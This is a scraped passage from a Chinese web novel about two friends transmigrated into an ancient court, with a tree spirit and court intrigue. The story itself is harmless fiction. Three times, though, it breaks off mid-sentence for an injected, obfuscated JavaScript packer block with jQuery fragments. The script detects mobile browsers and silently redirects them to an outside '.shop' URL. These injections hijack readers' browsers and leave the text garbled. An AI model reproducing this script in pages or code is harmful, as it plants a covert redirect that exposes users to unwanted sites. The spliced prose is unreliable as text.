林千平闭上眼,终于忍不住嘴角上扬,笑了起来。她跨出门槛时悄悄回了头,正好见到太妃抱着只橘黄-色的圆润猫咪朝她看去。
两人这才第一次视线交汇——
这猫可以啊这猫。林千平想到。
王清虞家里养了两只猫。
一只九岁一只六岁,九岁的是只橘色雀猫,喜欢揣着手晒太阳,阳光底下形似一只喷香的吐司,取名面包。六岁的是不加白的狸花猫,被收编的时候正在垃圾桶旁吃花卷,故赐名花卷用以纪念。
林千平没见过两位猫祖宗的本尊,但总会从王清虞那里定时收到精美的猫照和猫片。
两猫一静一动性格迥异,橘猫总是吃了就睡,舒舒服服把自己醒完面以后又挪到太阳下翻晒烘烤;狸花自诩老大,需要定时巡视全家上下,就是睡着的也得被挨个检查呼吸是否正常无碍,保家卫族是不亦乐乎。周围人偶尔也会说这两猫和她俩挺像,临了再砸砸嘴感叹几句交朋友还是得要互补之类的闲话。
这晚睡前,林千平躲着人自己偷了点酒,随便拿个蒲团就在房后的院子里席地而坐。也没什么下酒菜,油纸包里一点花生和零碎干果,配着黄酒大嚼起来。
她是工作以后才学会的喝酒,除了应酬以外从没主动找酒喝过。
但今天不一样,今天太不一样。
今天是久别重逢、是老友相聚、是忽然就有一股浊气堵在胃里,要叫人倒酒进去才能舒心畅快。
林千平有些上头,晕晕乎乎地仰起脖子,从树枝缝隙里愣愣地凝视着天空。没有污染的夜色如凉水一般化开,周遭的事物几乎都融在黑暗里,只剩天上的繁星陪着月光照亮大地。
明天还要进宫,所以喝得并不算多,微醺正好。中午回家没一会儿就来了太监传话,要林家的小女儿再多进去陪陪太妃——指不定什么时候就不让探望了呢?
果真是座漂亮的监狱,林千平想着,收拾好东西回房休息。
明早还有正事要做呢。
这几天马车坐得熟了,不晕车时林千平也爱从窗户里往外看。
今天出门赶上早市,路两边的早点摊子都冒着热气。老板们或是不时吆喝两句,或是还在麻利地制作着食物。
转过街角再走一段就到宫门,林千平想着在这里找点东西填填肚子。
昨晚喝了酒,早上起来总有些胃不舒服,家里准备的饭也没吃就出来了。这下饿意上来,又看到许多热腾腾的吃食,当下胃就里跟猫挠一样挖人。
林千平挑了个馄饨摊子坐好,又让冬葵买了羊汤去和马夫一起吃,自己则美美拿好勺筷等着馄饨。
摊子上是一对母女,小女孩看起来才五六岁,人还没桌高,短短的小手却包得麻利。馄饨上来,林千平先喝了口汤,味道不算鲜美但胜在清爽。
小女孩给拿来瓷瓶装的香醋,林千平顺嘴问了她的名字。小孩儿人不多大,四岁半就说话老练。只是到底还小,又或是看到林千平也是女孩,话匣子一开就把家底全抖落了。
小姑娘叫小炮,就是打仗的那个炮。家里还有个哥哥叫大刀,剁肉的大刀。她说父亲是军队的炮兵,所以取了这两个名字。哥哥和父亲一样,春天随军一起去了北边支援,到现在什么消息也没有。
小炮知道他们要去打仗,但还不清楚战争究竟是什么东西。
摊前来了新客人,小孩儿就颠颠地跑回去干活。
林千平情绪复杂地吃完馄饨,要上马车时,隔壁羊汤馆前忽地就炸开一阵悲戚至极的嘶哑哭声。
是两个穿着粗布衣裳的老人跪在一具面上盖着白布的尸体旁痛哭。
人群渐渐围了上来,车只能走得慢些。林千平麻木地在车厢里坐着,议论声透过薄薄的帘子传进来。
“李平怎么没了?”
“他去年进了大蛇教,前两天做仪式没的。”
“什么仪式那么……”
“你俩少说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228579|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两句吧……”
车终于走起来,嘈杂的人声和凄凉的哭叫一起被甩在身后。
林千平低头抚了抚身上齐整的锦缎裙子,粉绿花色,做工上乘。
避免百姓陷入战争……我也配吗?
再进福寿宫,终于看到叫花卷的那只小猫。那是一只毛茸茸的长毛狸花,白嘴套白袜子,端端正正蹲坐在房前的一棵杏树下,像个穿着对襟开衫的小保安。
林千平垂首,眼神黏在它又大又蓬松的尾巴上好一会儿才收回来,心情好了许多,进门行礼时仍是低着头不能看人。
这回被安排坐在了太妃身边,两人之间只隔了个放茶碗和点心盘子的小桌。
等房门被离开的宫女小心合上,林千平才抬头看向王清虞,脸上控制不住地露出笑容。
王清虞并不看她,翘着手指抚摸着茶碗盖拿腔拿调地开口:“听说林太史家是诗礼世家,我这刚好有个残缺的上联,你来对对。”不等林千平回答,又说道:“奇变偶不变,符……”
“王清虞。”
林千平冷不丁开口:“你能不能有点创意?”
王清虞闭了嘴,抬头和她对上视线。两个人立刻无声大笑起来,一个使劲掐着腿,一个赶紧捂着嘴,生怕笑声太大引起谁的注意。
二人几乎要笑倒在椅子上,林千平憋得太急太久,不受控制地咳嗽起来。王清虞趴在桌上,把脸埋进胳膊里,只发出些短促的闷响。
吭哧吭哧地笑了好一会儿,不知是谁的眼泪先落下来。
又成一个吸吸鼻子,一个拿起手帕。
“怎么哪都有你……你要做鬼也放过我好不好…”王清虞哗啦啦哭够了,帕子擦擦脸颊,又丢给对面。林千平拿起来抹了脸,听到这话又皱着鼻子笑起来。
趁着情绪渐稳,林千平急忙问了最要紧的问题:“你来多久了?什么时候来的?”看那猫也好几岁了,她实在是怕王清虞真在这破地方坐牢那么多年。
还好,猫是王清虞去年冬至来了才捡回养的。她来时老皇帝已经死了,不需要侍寝也没多少妃嫔间勾心斗角的烂事,一起合住的另一位太妃每天除了正常起居就是念佛烧香,生活倒还算是清净。
唯一麻烦的是多少要保持好人设,不能让人看出太大异常。还好这个世界的后宫和她曾经看过的影视作品描写的差别不大,谨慎观察小心行事,倒没出什么大乱子。
又互相交换了信息,王清虞根据看过的海量小说表示:咱们这是穿越了,魂穿的那种。林千平说我真谢谢你提醒我这么重要的事啊,当谁没看过电视剧呢?
再核对些细节,两个人惊讶地发现,彼此居然都能看到那个诡异的对话框。
林千平本以为王清虞的任务不说多宏大,至少也应该和自己是一样的吧?
没想到竟然是……每天亲手给院子里那棵杏树浇水?
只是王清虞的任务没写时限,两人也都没有所谓的系统,这下真是想投诉都找不到地方吵架了。
叽叽咕咕聊了半天,终于得出些结论:最好的结局是林千平完成任务,两个人一起离开,或许也能回家;最坏的是一个走了,另一个还得在这个世界留着。
这可是个没有抽水马桶的世界啊!王清虞光是想想就要崩溃了。
掰扯了半天,林千平看出她的焦虑,给现在的问题做了个总结:“你说通常完成任务总会有奖励,那就从我那个有时限的任务入手。完成了能一起走最好,就算不能,说不定也可以提要求留在这里。”
说着又握紧王清虞的手,使劲揉-搓两下:“有我呢,放心。”
5. 古代
离开福寿宫时,林千平特别留意了一下房前的那棵杏树。
现在是初秋,还没到换叶子的时候,绿色的叶片看起来也算丰盛。宫里的院子通铺了地砖,植物全被圈在几块小小的土地上。杏树下还长着几株细瘦的灌木,叶片间挂着指头长的豆荚,和树一起挤在方方正正的泥土里,看起来莫名有些凄凉。
没什么特别的树,为什么要特意让人亲自浇水?
林千平晚上又在院子里赖着了。今天好歹没偷摸一个人呆着,大大方方歪在房前檐下的躺椅上,自己拿着蒲扇无意识地哗哗狂扇。
她还在思忖着今天从王清虞那听来的信息。
前朝皇帝一共五个儿子,两个残了,瞎眼和不良于行;两个死了,其中一个被火烧死,都成灰了。原本为皇位斗得血雨腥风的朝堂这下彻底安静了,斗来斗去就剩下个七岁不到的小皇子。结果还未行册封太子典礼,老皇帝就染上急病走了。
国师不是从前朝初立时就在的,他甚至不是闻国本地人。据说是从南方更热的地方过来,受了丞相举荐才成为国师。听闻他能通过举行仪式沟通上天,可让风雨供他调配,知晓外族何时入侵。
按照他传达的消息,闻军确实将周围意图侵犯领土的外族都一一击退。去年秋天,将军蒋易远听令带兵前往北方平乱,也同样传来捷报。
幼皇即位,本应由丞相辅佐朝政,但丞相忽然表示年老体弱需要静养,递折子请了长假。皇帝的母亲早已去世,前朝留下的妃子都没什么特别的野心,于是国师便理所应当成了不便言说的那位实际掌权者。
林千平只是好奇,他都这么有本事了,又掌握大部分朝政,为什么不直接自己做皇帝呢?难道真是因为没有合理的名头吗?
还在仔细揣摩战争从何而起的林千平忽然被一声痛呼惊起:原来是冬葵靠在门边打瞌睡,脑袋撞在门框上了。林千平好笑地过去把她扶起来,收拾收拾回房睡下。
都城以北的地方,已经开始有些凉了。树叶要落不落地挂在枝上,随着夜里逐渐大起来的冷风簇簇摇动。营帐里还点着灯,偶尔有人走过,影子就被放大到帐篷上,像是围着烛火作法一般诡异奇幻。蒋易远正坐在褥子上听着来人汇报都城的消息。
从几年前国师来到闻国开始,他们打的仗就越来越诡异。对面那些外族就像集体失智了般毫无章法可言地到处乱撞,骁勇善战的民族本能仿佛也消失了,随意跟他们打几个来回就要急急撤退,再追再打甚至能直接逃回本国。
没有朝廷的命令,他们无法深-入他族腹地进行追击,只能原地驻守。为防敌人又打回马枪,蒋易远的部队已经在边境多呆了不少时间,夏季中旬才捡着凉快的时间往回走。这会儿正停在离都城几百里外的屏城稍作休养。
他是知道国师不对劲的。但老皇帝不知是被下了咒还是被灌了药,无论在什么大事上都对那个奇装异服的南蛮子言听计从。
朝堂里的那群人又因为急着站好下一朝的队伍你争我斗,混乱不堪的情况下远在边境的蒋易远来不及找到合适的机会做些什么,皇子们就死的死残的残,老皇帝也很快一命呜呼了。这次出征,他多留了不少人手在沿途传讯,为的就是能尽早知晓都城的局势变化,好及时做出应对。
蒋易远听完,挥手让人离开。夜已渐深,他仍独自坐到蜡烛烧灭,目光沉沉地盯着透出些许月影的帐篷顶,直至天光微晓。
隔天清晨,林千平还在吃着早餐,就来人通报有客拜访。林千平诧异地猜想着来客的身份,吃完手上的包子就往茶房去了。
今天这间房没把门板拆开,看不到后院。林千平站在门口探头往里瞧也不见有人,一回头才发现廊下还站着个墨绿色的人影。林千平以为是林千枋终于改性了,定睛一看才发现是上回那个自来熟的蒋易阳。
他正背着手,微微抬头专注地看着一根伸到廊前的树枝。好似早就知道林千平在这儿一样,并未分给她视线,只开口道:“你看,这有只秋蝉。”林千平走到他身旁,在树叶遮挡间看到一只有些小巧的蝉正趴在枝上歇息。
“它要死了。”蒋易阳把头转向林千平,露出一个意味不明的笑容。
林千平没接茬,问他:“你找我?”
“专程拜访。”蒋易阳眨眨眼,一双亮亮的眼睛又笑得弯起来。
林千平深叹两口气,回道:“我真不记得你了,你知道的,我脑子不好。”跟着还用手指指脑袋:“说不定一会儿就发病了呢。”
蒋易阳仰头轻笑出声,随后路过她走下台阶站在院子里。阳光从他身后打来,暖暖地披上一层金沙。
“我真的见过你,小时候。”
“你哥哥很宝贝你,和我们一起玩的时候总会让你在旁边坐着。”蒋易阳说道:“他发现只要自己穿得五颜六色的,你就会盯着他看,从那以后他身上的颜色就从未少于三种。”
林千平没做好准备要听到这样的过往,愣愣几秒才笑起来:“哈,好笨啊。”
蒋易阳静静看了她一会儿,冷不丁开口道:“承德太妃,很喜欢你?”
林千平把视线移到他脸上,嘴角的笑容淡去:“嗯。”
他似乎只是随口问问,很快又转移话题,讲些年少时和林千枋的趣事。两个人就在茶房的前后院逛起来,围着水潭假山走了好多圈。一边散步一边赏景,从家庭小事又聊到百姓民生。
林千平发现这人有着这个时代少有的包容和开放,她试探着浅说了一些关于封建体制的弊端,也得到了对方的肯定和更深-入的讨论。
相谈甚欢的氛围最终被急匆匆赶来的林千枋打破,他跨着大步走到两人面前,挤进他们之间宽大的空隙,冲蒋易阳皱起眉来:“你来了怎么不上我书房等去?做甚在这儿骚扰果果?”
林千平已对蒋易阳改观不少,于是扯扯身前这个倒霉哥哥的袖子:“我们只是在聊天,他没骚扰我。”
蒋易阳闻言也得意地看看林千枋,只见他神情复杂,脸上的颜色换得比衣服还快。
良久才败下阵来,转身对妹妹含泪嘱咐:“果果,哥哥尊重你,但是咱们还小,而且这人心思深沉,我们再多看看好不好……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228580|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
林千平对这个未婚男女来往在旁人眼里从不可能清白的世界实在无语,敷衍地回了两句:“没有,我不喜欢这款的,你放心我肯定要多看看啊,走吧快到饭点了咱们吃饭去吧……”说着边哄人边带他往饭厅走去,一手向后挥挥示意剩下的那个赶紧跟上。
吃饭时,蒋易阳又是和徐芝年畅聊经商手段,又是极其捧场地听着林大人讲他新发现了某一颗星星的运行轨迹。两位长辈开心地说了个痛快,林千平和林千枋只低着头吃了个痛快。你给我夹块白切鸡,我给你盛碗猪血酸汤,兄妹俩边吃边看着聊天的三人偷偷说些小话,也算热闹。林千枋心情好了,又记起发小情谊,顺手也给来不及夹菜的蒋易阳多拨了几筷子韭黄炒蛋——他最吃不了的一道菜。
到了下午,蒋易阳也不说来找林千枋什么事了,只拉着林家兄妹要一起玩游戏追忆童年。林千枋一听就兴奋起来,正好能弥补妹妹未曾经历过的快乐,兴冲冲就要人去拿那些投壶射箭用的器具来。
林千平玩不了他们那个,赶紧把小厮叫住,又让冬葵把房里的纸牌找来。她没事的时候不光做了扑克牌,还做了套按颜色和数字出牌的uno牌。
三人先玩了会儿斗地主,输的要在脸上贴纸条。蒋易阳和林千枋都有意让着她,打完几轮以后,脸蛋还光溜溜的就只剩林千平了。她觉得没劲,干脆就把闲着的佣人都叫进来玩uno牌,这牌只要会看颜色和形状就能打,而且要人多些玩起来才开心。
茶房的矮桌边就挤满叽叽喳喳的年轻人,一边打牌一边吃着零嘴。林家家风轻松,佣人们便也放得开,很快就玩到一块儿去。
林千平大笑着拍手、装作生气地和林千枋拌嘴、打完手里的牌又去骚扰冬葵……恍惚间就像回到了那个世界的桌游店一样。
人总是会在最幸福的时候幻想着失去,仿佛这样就能抵消一些快乐所带来的窒息感。林千平也不例外。
这样的日子总是要结束的。
她忍不住想。
晚饭后,林千平和林千枋到门口送客。太阳已经完全落下,门前挂上了发着暖光的灯笼。昏黄的光线只照得将将能看清人脸,蒋易阳神色未明地看着林千平,问道:“你说的那些,真有可能做到吗?”
林千平张开嘴,又犹豫地合上:“嗯。”
不知何处来的马蹄声哒哒响起,衬得几人间的沉默愈发显眼。
“如果一个人,不惜任何手段也要完成自己的理想,那他究竟是好是坏?”
林千平仿佛透过他的神情看出些什么,联想起晚饭时他和林家父子交流的那些话题,情绪复杂地看着他那双在灯火映衬下执着得发亮的眼睛,只模糊答道:“……历史自有它的评判。”
蒋易阳若有所思地笑起来,向她颔首,转身离开了。
林千平揉揉额头,又长又深地叹了口气。
她知道,无论自己给出什么答案,这个人都会按照他原先的想法一往无前地走下去。
就像她过去知道的那些无畏的理想主义者一样,为心中更好的世界义无反顾,头破血流。
6. 古代
如若不是因为太过招摇,进宫的路途也过于麻烦了,林千平是想每天都去探视王清虞的。
她自己倒还好,平时能出门遛弯或是在家玩耍,王清虞的太妃身份基本上就和高级囚徒没什么区别。隔天探望已经是在合理边缘试探,现下只能寄希望于宫里宫外的大家都在忙,无暇顾及这点小事吧。
车又驶过商铺林立的宽阔主街,许多店铺门口都挂着几溜纸扎的小花灯,偶尔也能看到一两家摆着香烛纸钱在卖。林千平这才想起为什么早上徐芝年要嘱咐自己尽早回来别呆太晚,原来今天是农历七月十五,中元节。今夜将会鬼门大开,孤魂四散。习俗讲究夜晚避免行走,容易撞鬼。
“见鬼了!”林千平注意到王清虞从她刚进门起就一副心神不宁极其焦虑的样子,还不待开口询问,王清虞就慌里慌张抓住她的手低声说道:“这是个灵异世界,真的有鬼啊!”
原来她昨晚做了个梦,梦里她正在到处寻找那只叫花卷的长毛狸花。屋里小猫常去的地方都转遍了,才在前院的杏树下找到。小猫蜷缩身子睡得酣甜,身体随着呼吸一起一伏十分可爱。王清虞正要伸手摸摸那毛乎乎的肚子,就听到头顶传来一声轻笑。
她一抬头,原本细瘦的树干忽地拔高涨大,又好似她变小了一般,树顶竟突然高得望不到头。枝叶交缠在空中,遮天蔽日。
靠近主干的一枝上坐着个雌雄难辨的身影,正轻轻笑着发出声音。
这人眼神幽深多情,五官英气,脸型有些偏圆润,身上穿着男子的衣袍,暖白色的衣摆绣着银线花样。没有戴冠,只随便束着一头柔润的长发,叫人看不出性别。
不知何处风起,无端吹来漫天玉白色的花瓣。树上的人也像花一样踏着风飘落下来。王清虞正为这场美梦失神,就听那美人用清亮的男声说道:“你是其他世界的孤魂,怎么就来到这里了?”
是啊,怎么就……地下的猫儿抓了她一把,王清虞立时站起身猛退几步,下意识摆出个防御的姿势。
那人又说:“安娜俊雄伽椰子,贞子笔仙楚人美?”王清虞啪地一声捂住嘴,眼睛瞪得快要脱眶。
“什么意思?”这位美鬼读了读面前的异世界灵魂,发现实在沟通困难,只好指指一旁的树:“你别害怕,我是那棵杏树,来谢谢你每天为我浇水的。”
王清虞一声不吭地杵在原地,又在脑子里跑弹幕。杏树美人下意识念了两句:“手枪榴弹十字架圣水大蒜五帝钱雄黄ak黑驴蹄子……不对那是打僵尸用的……”
……无法理解,但感觉不是什么好话。
杏树挥挥手,无奈地示意她张嘴说话。王清虞呃哦了半天,只憋出一句:“客气了,应该的。”接着就像上学时逃避教导主任那样鞠个躬,嘴巴撵不上大脑地胡乱搪塞:“天气真好您先忙我还赶着去睡觉晚安再见祝您生活愉快!”
“然后呢?”林千平塞了片橘子进嘴里,一边嚼一边问。
“然后我醒了啊。”王清虞也从她手里掰了一瓣:“醒了以后,发现我枕头旁边放着一枝杏花。”
林千平这才注意到桌边的花瓶里插着根开得正好的杏花枝。七朵小花紧贴在枝上,花瓣全都饱满莹亮,散发着幽幽的清香。王清虞忽然伸手掐住朵花猛拽一把,林千平还没来得及拦,就看到状似脆弱的小花依旧紧紧附在枝头,连点破口都没有。
因着林千平在,王清虞胆子大了不少,和她头碰头分析起梦里的人究竟是妖是鬼。林千平听了半个点的人外小说多样性理论研究,趁她口干喝茶时终于插上话:“你的任务是给它浇水,是不是就为了让它入你梦呢?”
王清虞若有所思点点头,又说:“我还是觉得有点不对劲……它能读心又能变花,谁知道这任务是不是让我把自己养肥了送它嘴里?”林千平觉得不像,但看她犹犹豫豫焦虑起来,干脆给拿了主意:“它说来谢谢你,说明愿意和人交流。下回它要是再来,你多跟它聊聊。大不了就道个歉跑呗,跟你昨天一样。”
谈得过点了,林千平留在宫里吃了饭,她还有些事想和王清虞讨论。
蒋易阳昨天和林千枋提到了他的兄长,本朝的镇远将军蒋易远。从他们的交谈里,林千平听出最近抗击外族的战斗都打得异常顺利,国师预言的战役均是闻国大获全胜。蒋易远却发现战斗太过轻松,简直就像对面有意配合一般。明明他们的装备和武器不知何时也都发展到了与闻国差不多的水准,显而易见地有一战之力,却偏偏只会敌打我逃,躲躲藏藏。
林千平手里玩着王清虞的彩石镯子,把关键人物换成西方人名,遮遮掩掩地把这些消息当故事一样讲了出来。
王清虞似是想起什么,神秘兮兮地凑到她耳边说:“我听说他修的那个塔的塔底,打了十八个人进去做生桩。”末了似乎是觉得有些离谱,又补一句:“小道消息,不保真哦。”
林千平:“文字料就别拿出来说了,有本事发点实锤啊。”
顺着话茬,又把八卦也聊完了。林千平见天色转暗,急忙告别出门。王清虞陪着送到福寿宫门口,林千平看着好友假装高冷矜持的样子,一时没忍住低头笑出声来,赶紧转身匆匆离开。
紧赶慢赶,到宫门前还是迟了。兴许是中元节的缘故,关门时间比往常早了不少。林千平只好多拿些银子拜托引路的宫人找人传话回家,今天应当只能留在福寿宫那儿住了。
交代完话,林千平又转头独自往回走。一路上也没什么人,不知是不是都早早进房了。
再有个转弯就到福寿宫时,前面一道宫门里静静走出来个穿着墨色衣袍的身影。林千平低着头赶路,只余光扫到这人身型矮小,衣摆用同色锦线绣着些精致的暗纹。
不是宫人的制服样式,又体型像个孩子……
林千平干脆利落地往下一跪,趴伏在地上高声道:“臣女林千平叩见陛下。”话音刚落,脑门上应声冒起一层冷汗。还好植入的礼仪安装包有效期够长,还好自己没有走神……应该,没有什么问题吧?
“免礼。”是一道有些干涩的童声:“起来吧。”
林千平从地上爬起,低头垂手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228581|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
站在原地等候发落。视线里只能看到两双鞋,她这才意识到小皇帝周围居然什么人也没有。
入秋后的风总是很大,又冷又急地吹着人的后脖颈。
林千平听到他问:“刚才在福寿宫门口的是你?”
她不知道这说的是不是离开时不小心漏出的谈笑声,但想来这附近应该没有其他人,于是只好硬着头皮承认:“是我。”
“抬头看着我。”
林千平照做。头是抬起来了,视线又只敢徘徊在小孩的下巴附近。他看起来被照顾得不错,皮肤整洁光滑,身高也比同龄的孩子高出一些。可惜自古帝王向来身不由己,从他有些憔悴的神情和色素暗沉的眼下,足以看出他承受了很多超出年纪的压力。
不知是不是因为黄昏已到,高大的宫墙挡住落日,夜幕深蓝色的氛围衬得他的气质有些阴森。林千平无端想起那些恐怖片里的小孩,总也像他一样有双大而近乎无神的眼睛。
小皇帝把视线从她脸上移开,背着手向林千平过来时的方向幽幽地走了,只留下一句轻飘飘的:“我记住你了。”
林千平吓得连恭送的话都忘了说,直直立在原地等那脚步声消失。
天完全黑下来了,隐约可以看到福寿宫已经点起宫灯。
她往小皇帝出来的那扇门里偷偷看去:
里面荒无人烟,杂草疯长。两支蜡烛围着一摊纸灰静静烧着,烛泪流了满地。
“我闭着眼都能猜到他拜的是谁…这剧情有点无聊。”王清虞穿着睡衣盘腿坐在床上,林千平在身后帮她编着辫子。
林千平帮她用发带扎好发尾,两个人并排坐着了,才又开口:“他在后宫偏僻的地方走动,身边一个人也没有。”王清虞不解,林千平继续悄声说道:“没有伺候的宫人,但是也没有监视他的人。”
她看不出来是不是有什么武功高强的人躲在暗处,但她刚来时了解过这个世界的武力值设定。就人类的身体素质来说,没有那些能悄无声息躲在墙上树上房顶上完全不让人发现的武术功夫。
“像是快要没有利用价值一样。”林千平补充道。国师如今权势滔天,又无比张扬地大建宝塔,会不会真有人为了反对他劳民伤财的各种荒谬政策,而选择揭竿而起,改朝换代?
这会是那场战争吗?
如果真是如此,林千平想不出来该怎么阻止,她连这样的人在哪都不知道。
“干掉国师行不行?”林千平思考了好一会儿才突然出声,王清虞本来歪着身子都快睡过去,被吓得一个激灵坐起来:“也不是不行?……按一般套路来说,国师就是那个反派咯。”
总归是要避免战争,解决不了问题那就解决制造问题的人吧。林千平想到。如今众人皆知的恶角就是那位国师,要是能做到让小皇帝拿回政权,抚平民怨,最有可能的起义战斗应该就能避免了。
至于怎么干掉这个跳大神的…靶子都有了,还怕没有箭吗?
林千平满意地点点头,给王清虞盖好薄被,自己到屏风外的软塌上睡下了。
7. 古代
翌日是个好天气。太阳虽然漫天照着但并不过分恼人,风也吹得轻柔。林千平走到宫门前,发现林千枋正好下了朝在门口等她。
两个人都想吃点什么东西,干脆就让马车原地待命,兄妹俩自己徒步走去附近的主街找东西吃。林千枋今天穿着朝服,模样倒顺眼许多。
林千平说了一会儿话,却不见有人回应。再转头看去,一张美得雌雄莫辨的脸正笑吟吟地看着她。
这张脸极美,甚至于美得让人觉得有些似人非人的怪异,尤其是近距离观看时冲击力极大。林千平脑袋宕机几秒,身体下意识做出应激反应——挥拳揍了那张漂亮的脸蛋。
等打在又粗又硬的树皮上时,大脑才终于通上电。林千平顾不上感受拳头是不是在发疼,立马开始作揖道歉:“误伤了误伤了!有罪莫怪,有罪莫怪!”
“噫——恁人还怪礼貌的咧。”王清虞的声音从背后响起,林千平转身去看,她正扒在福寿宫的厢房门口探头探脑。
原来是在做梦。
那只杏树鬼又从天而降,站在二人面前新奇地看着她们:“两个相互认识的孤魂,真少见。”
林千平也稀奇地看着他:“杏花鬼诶,真少见。”
王清虞发出哧哧的憋笑声。
那鬼也不恼,好脾气地纠正她:“我是妖精,从杏树修炼出来的,不是鬼。”说完想想又补充一句:“你俩才是鬼。”
王清虞不笑了。
林千平拦住胆子变大的王清虞,抓紧问了一串重要的问题:“为什么要我们天天给你浇水?进我俩的梦里想干嘛?你吃人吗?不对,吃鬼吗?”
树妖眨眨眼,乖顺地回答:“我没有要你们给我浇水;进梦是想谢谢她,结果你跟着进来了;我不吃人也不吃鬼,就喝点儿井水。”
为表贴心,还特意解释了井水的作用:平时宫人浇的都是用过的污水,不够干净,它喝不了。偶尔能有些雨水,但雨水无根,于修炼无甚好处,只是勉强能维持活着。王清虞浇的是干净的井水,井水有根且阴,又结合着异世魂魄的气息,无意中唤醒了他。
三人这会儿已经在院子的石桌边坐下,一副将要促膝长谈的样子。不知道是不是因为做梦的人没有排斥,这回的梦好像长了不少。
林千平还在思考这到底是谁的梦,树妖就开口替她解惑:“这是王清虞的梦。做梦这么长,是因为你们俩都在这个梦里,两个世外灵魂滋养了我,我才能出现这么久。”
王清虞眼睛一瞪就开始发难:“你还说不吃人?!”
“不,不。”他连连摆手:“你们比较像太阳。太阳是一直发光的,光照到我,就让我更清醒。”
话音刚落,远远地就传来些鸟鸣声。
“你们要醒了,谢谢你给我浇水。”他向王清虞点了点头,又对林千平说道:“离这里很近的地方有个强大的妖精,小心……”
什么妖精?
林千平从起床吃饭再到行礼告别,走到宫门口时还在思考这些问题。本以为只是寻常的古装权谋而已,怎么突然又有聊斋志异什么事儿啊!
出来宫门,林千平四下打量一圈,果真只有车夫带着冬葵在等。想来也是,林千枋下朝的时间可要早得多了。
最近想的东西太多太杂,脑子里总是雾蒙蒙的。林千平就让车在离家不远的一条商铺街停下,准备自己走走逛逛,散散心再回去。
林千平心情不错地和冬葵两个人从点心摊一溜烟逛到成衣铺,这会儿刚从书斋出来,又朝茶馆走去。
小二层的茶馆规模还挺大,楼下是散座,楼上是包厢。一楼屋子里面坐着的几桌人服装齐整,面前摆的是带盖的茶碗;外边支了层天幕遮光挡雨,或坐或站着几个粗布麻衣的力工在喝黑陶大碗装着的茶水。
还没走到跟前,二楼窗户忽地探出个身影,朝林千平挥手示意她上来。
是蒋易阳。
林千平不明白他什么意思,但总归不好落了人家面子,便让冬葵先回家,自己跟着小二上楼进了厢房。
房里空间挺大,除了放下一套桌椅外还能在角落摆上屏风和琴台。想来这里应该还能让琴师来抚琴助兴以供消遣。
蒋易阳一个人靠在窗前侧坐着,桌上排着一套十二件的青瓷茶具,桌边角落的炭盆里还煨着热水。他伸着脖子不知道在看什么,见林千平进来,只点头笑笑,又把视线转回窗外。
林千平走上前站在他旁边,也跟着向外看了看。
这是相对热闹的一条商业街,街面比主街稍小些,两边开着门的都是各色商铺。来来往往的人群身份各异,除了衣着华丽的贵族或商贾外,也有不少穿着简朴的行人。他们不是来店里工作,就是来光顾便宜的餐点铺子。
偶有小孩玩闹着跑过,让整条街都染上些笑意。
“你知道那家店吗?”蒋易阳指了指一家门口挂着布料的店铺问道。
林千平仔细瞧了,是家有名的连锁成衣店,好几条街上都能看到他们的分店。未等回答,蒋易阳便先开口:“十五年的老字号,都城开了十三家分店。最近关得只剩五家。”
林千平不解,他又点点聚在墙角的一群人:“他们是附近村镇来等工的,已经快要秋收了,还都留在城里。”
“朝廷不光加倍增收田税,户税和商税也翻了好几番。丞相上奏的土地兼并法施行以后,有人开始大肆收购田地,再以高额租金租回给农户。偏远一点的地方,整个村的人都被迫成了流民。”蒋易阳不知何时也站起身来,垂手俯视着楼下还算熙攘的人群。
“这一切都从国师掌权开始。”林千平悄声替他补上了未尽的话。
“都城如此,州县以下的地方只会更糟。”
林千平无言。来到这个世界成为有身份的贵族,享尽舒适的生活和照顾。她感激自己的好运,但从来没有认为这是什么好事。
穿越不是她主动的选择,却要因此承受来源于自我的道德审判。她借打探消息的理由让街上行乞的小孩每日来府上领食物、给服务自己的佣人更多的打赏、让冬葵帮小炮家的馄饨摊买个铺子……可这些,都像是既得利益者在施舍随手丢下的边角料一样。
说到底,这么复杂的社会问题不是自诩思想先进的自己一个人就能解决的。林千平找了个椅子坐下,烦躁地抵着额头按揉。认为仅凭一己之力就能改变某个时代根深蒂固的体制,恐怕是不少穿越者都曾有过的傲慢吧。
蒋易阳原本
